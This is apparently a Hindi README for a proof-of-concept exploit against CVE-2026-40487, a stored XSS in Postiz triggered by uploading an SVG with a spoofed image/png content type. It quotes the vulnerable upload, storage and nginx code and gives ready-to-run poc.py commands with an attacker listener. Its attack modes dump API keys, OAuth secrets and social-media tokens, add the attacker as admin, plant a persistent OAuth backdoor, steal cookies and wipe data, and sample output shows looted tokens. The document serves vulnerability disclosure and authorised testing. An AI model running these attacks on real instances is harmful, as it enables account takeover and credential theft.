
CVE-2026-40487 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो MIME स्पूफिंग के माध्यम से मनमाना फ़ाइल अपलोड प्रदर्शित करता है, जिससे Postiz में संग्रहीत XSS और खाता अधिग्रहण होता है। डेटा एक्सफ़िल्ट्रेशन, विशेषाधिकार वृद्धि और स्थिरता के लिए कई आक्रमण मोड शामिल हैं।
खोज एवं रिपोर्ट: Astaruf
पूर्ण विवरण: https://nstsec.com/en/posts/postiz-xss-cve-2026-40487/
NVD प्रविष्टि: https://nvd.nist.gov/vuln/detail/CVE-2026-40487
GHSA प्रविष्टि: https://github.com/gitroomhq/postiz-app/security/advisories/GHSA-44wg-r34q-hvfx
CVE रिकॉर्ड: https://www.cve.org/CVERecord?id=CVE-2026-40487
Postiz एक ओपन-सोर्स सोशल मीडिया प्रबंधन उपकरण है जिसमें 28+ प्लेटफ़ॉर्म एकीकरण (Instagram, X, LinkedIn, Facebook, TikTok, आदि) हैं, जिसका उपयोग इंटरनेट पर उजागर 600+ इंस्टेंस द्वारा किया जाता है।
एक निम्न-विशेषाधिकार प्राप्त हमलावर स्पूफ किए गए Content-Type: image/png हेडर के साथ एक दुर्भावनापूर्ण SVG (या HTML) फ़ाइल अपलोड कर सकता है। सर्वर वास्तविक सामग्री की जाँच किए बिना फ़ाइल स्वीकार कर लेता है, मूल एक्सटेंशन को संरक्षित रखता है, और nginx उस एक्सटेंशन (image/svg+xml) से प्राप्त Content-Type के साथ इसे परोसता है। जब पीड़ित URL खोलता है, तो एम्बेडेड JavaScript एप्लिकेशन के ओरिजिन में निष्पादित होता है, जिससे हमलावर को पूर्ण सत्र नियंत्रण क्षमताएँ मिलती हैं जो खाता अधिग्रहण के बराबर हैं।
हमले की श्रृंखला:
हमलावर Content-Type: image/png के साथ .svg अपलोड करता है
-> सर्वर केवल Content-Type हेडर को मान्य करता है (CWE-345)
-> फ़ाइल मूल .svg एक्सटेंशन के साथ डिस्क पर सहेजी जाती है (CWE-434)
-> nginx इसे image/svg+xml के रूप में परोसता है
-> ब्राउज़र एम्बेडेड JavaScript निष्पादित करता है (CWE-79)
-> समान-ओरिजिन: पीड़ित के सत्र तक पूर्ण पहुँच
XSS पेलोड एप्लिकेशन के साथ समान-ओरिजिन में निष्पादित होता है। भले ही प्रमाणीकरण कुकी HttpOnly हो, fetch() credentials: "include" के साथ स्वचालित रूप से इसे संलग्न करता है। हमलावर यह कर सकता है:
pos_* टोकन जो कभी समाप्त नहीं होता और पासवर्ड परिवर्तन से बच जाता है)तीन घटक स्वतंत्र रूप से विफल होते हैं, जिससे शोषण श्रृंखला बनती है:
libraries/nestjs-libraries/src/upload/custom.upload.validation.ts:
const validation =
(value.mimetype.startsWith('image/') ||
value.mimetype.startsWith('video/mp4')) &&
value.size <= maxSize;
value.mimetype मल्टीपार्ट अनुरोध में Content-Type हेडर से आता है, जिसे हमलावर नियंत्रित करता है। कोई मैजिक बाइट निरीक्षण नहीं, file-type जैसी लाइब्रेरी का कोई उपयोग नहीं।
libraries/nestjs-libraries/src/upload/local.storage.ts:
const filePath = `${dir}/${randomName}${extname(file.originalname)}`;
writeFileSync(filePath, file.buffer);
extname(file.originalname) क्लाइंट-आपूर्ति फ़ाइलनाम से एक्सटेंशन निकालता है। घोषित MIME प्रकार और एक्सटेंशन के बीच स्थिरता की कोई जाँच नहीं। सर्वर प्रतिक्रिया में पूर्ण सार्वजनिक URL भी लौटाता है, इसलिए हमलावर को पीड़ित को भेजने के लिए लिंक मिल जाता है।
http {
include /etc/nginx/mime.types;
location /uploads/ {
alias /uploads/;
}
}
nginx .svg को image/svg+xml, .html को text/html में मैप करता है। कोई Content-Security-Policy नहीं, कोई X-Content-Type-Options: nosniff नहीं, कोई Content-Disposition: attachment नहीं।
Python 3.8+
pip install requests
# 1. जाँचें कि लक्ष्य भेद्य है या नहीं
python3 poc.py http://target:5000 -e [email protected] -p password --check
# 2. पीड़ित से सब कुछ निकालें
python3 poc.py http://target:5000 -e [email protected] -p password \
--lhost YOUR_IP -a full-dump
# 3. एक स्थायी बैकडोर बनाएं
python3 poc.py http://target:5000 -e [email protected] -p password \
--lhost YOUR_IP -a create-oauth-app
# 4. क्रेडेंशियल के बिना टोकन का पुन: उपयोग करें
python3 poc.py http://target:5000 -t pos_XXXX...XXXX \
--lhost YOUR_IP -a full-dump
हमलावर सर्वर Postiz पीड़ित
| | |
|-- 1. लॉगिन/पंजीकरण -------->| |
|-- 2. दुर्भावनापूर्ण SVG अपलोड --->| |
|<---- फ़ाइल का URL -----------| |
|-- 3. URL पीड़ित को भेजें ---------------------------> |
| |<--- 4. URL खोलता है ----- |
| |--- SVG + JS ---------> |
|<-------------- 5. JS निष्पादित होता है, डेटा निकालता है -----------|
| मोड | विवरण |
|---|---|
dump-self | पीड़ित की प्रोफ़ाइल, संगठन जानकारी, टियर, API कुंजी |
dump-personal | प्रदर्शन नाम, बायो, प्रोफ़ाइल चित्र |
dump-integrations | कनेक्टेड सोशल मीडिया एकीकरण और टोकन |
dump-posts | निर्धारित और ड्राफ्ट पोस्ट (पिछले 365 दिन) |
dump-team | टीम सदस्य, भूमिकाएँ और ईमेल पते |
dump-media | मीडिया लाइब्रेरी सूची |
dump-notifications | सूचना इतिहास |
dump-signatures | पोस्ट हस्ताक्षर |
dump-webhooks | कॉन्फ़िगर किए गए वेबहुक और उनके URL |
dump-oauth-app | OAuth ऐप क्रेडेंशियल (clientId, secret) |
dump-copilot | AI कोपायलट वार्तालाप थ्रेड |
dump-billing | बिलिंग और सदस्यता जानकारी |
dump-settings | शॉर्टलिंक और सूचना सेटिंग्स |
dump-third-party | तृतीय-पक्ष एकीकरण कॉन्फ़िगरेशन |
dump-autopost | ऑटोपोस्ट नियम |
dump-sets | सामग्री सेट |
dump-tags | पोस्ट टैग |
dump-customers | ग्राहक सूची |
full-dump | उपरोक्त सभी एक ही पेलोड में |
| मोड | विवरण |
|---|---|
add-admin | पीड़ित के संगठन में हमलावर को ADMIN के रूप में आमंत्रित करें (--attacker-email) |
rotate-key | संगठन API कुंजी घुमाएं और उसे निकालें |
rotate-oauth | OAuth ऐप सीक्रेट घुमाएं और उसे निकालें |
| मोड | विवरण |
|---|---|
kill-notifications | सभी ईमेल सूचनाएँ अक्षम करें |
edit-profile | पीड़ित का नाम और बायो संशोधित करें (--edit-name, --edit-bio) |
wipe-signatures | सभी पोस्ट हस्ताक्षर हटाएं |
wipe-webhooks | सभी वेबहुक हटाएं |
wipe-tags | सभी टैग हटाएं |
wipe-sets | सभी सामग्री सेट हटाएं |
wipe-autopost | सभी ऑटोपोस्ट नियम हटाएं |
logout-victim | पीड़ित को जबरन लॉगआउट करें |
delete-oauth-app | पीड़ित का OAuth एप्लिकेशन हटाएं |
| मोड | विवरण |
|---|---|
create-oauth-app | OAuth ऐप बनाएं, स्वतः-अनुमोदन करें, स्थायी pos_* टोकन निकालें (--oauth-redirect) |
steal-cookie | document.cookie के माध्यम से प्रमाणीकरण JWT चुराएं (जब NOT_SECURED=true) |
| मोड | विवरण |
|---|---|
api-call | मनमाना प्रमाणित API कॉल (--api-method, --api-path, --api-body) |
custom | मनमाना JavaScript निष्पादित करें (--custom-js) |
| विकल्प | विवरण |
|---|---|
--check | जाँचें कि लक्ष्य भेद्य है या नहीं (कोई हमला निष्पादित नहीं) |
--register | लॉगिन से पहले नया खाता पंजीकृत करें |
-t / --token | क्रेडेंशियल के बजाय API कुंजी या pos_* टोकन का उपयोग करें |
--format html | SVG के बजाय HTML पेलोड का उपयोग करें |
--proxy | HTTP/SOCKS प्रॉक्सी के माध्यम से ट्रैफ़िक रूट करें (जैसे Burp Suite) |
-o / --output | लूट को JSON फ़ाइल में सहेजें |
$ python3 poc.py http://target:5000 -e [email protected] -p S3cret! --lhost 10.0.0.1 -a full-dump
██████╗██╗ ██╗███████╗ ██╗ ██╗ ██████╗ ██╗ ██╗ █████╗ ███████╗
██╔════╝██║ ██║██╔════╝ ██║ ██║ ██╔═████╗ ██║ ██║ ██╔══██╗ ╚════██║
██║ ██║ ██║█████╗ -2026- ███████║ ██║██╔██║ ███████║ ╚█████╔╝ ██╔╝
██║ ╚██╗ ██╔╝██╔══╝ ╚════██║ ████╔╝██║ ╚════██║ ██╔══██╗ ██╔╝
╚██████╗ ╚████╔╝ ███████╗ ██║ ╚██████╔╝ ██║ ╚█████╔╝ ██║
╚═════╝ ╚═══╝ ╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚════╝ ╚═╝
Postiz <= 2.21.5 — MIME-स्पूफ्ड फ़ाइल अपलोड के माध्यम से संग्रहीत XSS
[*] [email protected] के रूप में लॉगिन हो रहा है ...
[+] प्रमाणित।
[*] पेलोड उत्पन्न करना: एक ही पेलोड में सब कुछ निकालें
[*] Content-Type: image/png के साथ दुर्भावनापूर्ण .svg अपलोड करना ...
[+] अपलोड सफल।
ID: 28c1daee-d83e-403e-bc1f-dba63182d4b0
पथ: http://target:5000/uploads/2026/04/15/4be19b2244eb.svg
[*] 0.0.0.0:8888 पर निष्कर्षण श्रोता प्रारंभ करना ...
=================================================================
यह URL पीड़ित को भेजें:
http://target:5000/uploads/2026/04/15/4be19b2244eb.svg
=================================================================
[*] पीड़ित के लिंक खोलने की प्रतीक्षा कर रहा है ...
[+] लूट प्राप्त @ 2026-04-15 03:45:41
टैग: victim-profile
डेटा: {"email":"[email protected]","orgId":"...","publicApi":"bd332945..."}
[+] लूट प्राप्त @ 2026-04-15 03:45:41
टैग: integrations
डेटा: [{"id":"...","providerIdentifier":"instagram","token":"IGQVJ..."}]
[+] लूट प्राप्त @ 2026-04-15 03:45:42
टैग: team-members
डेटा: [{"userId":"...","email":"[email protected]","role":"SUPERADMIN"}]
...
संस्करण 2.21.6 में तीन परिवर्तन पेश किए गए:
file-type लाइब्रेरी का उपयोग करकेimage/* कैच-ऑल नहीं)| तिथि | घटना |
|---|---|
| 2026-04-10 | स्रोत कोड समीक्षा के दौरान भेद्यता की खोज |
| 2026-04-10 | GitHub सुरक्षा सलाहकार (GHSA) के माध्यम से रिपोर्ट |
| 2026-04-10 | डेवलपर्स ने स्वीकार किया और स्पष्टीकरण का अनुरोध किया |
| 2026-04-10 | विस्तृत हमले परिदृश्य और Shodan डेटा प्रदान किया गया |
| 2026-04-11 | साक्ष्य के साथ CVSS विवाद प्रस्तुत किया गया |
| 2026-04-13 | v2.21.6 में समाधान जारी किया गया |
| 2026-04-14 | CVE-2026-40487 निर्दिष्ट किया गया |
| 2026-04-15 | सार्वजनिक प्रकटीकरण |
यह उपकरण अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। इसका उपयोग केवल उन प्रणालियों के विरुद्ध करें जिनके स्वामी आप हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है। कंप्यूटर प्रणालियों तक अनधिकृत पहुँच अवैध है। लेखक दुरुपयोग के लिए कोई दायित्व नहीं मानता है।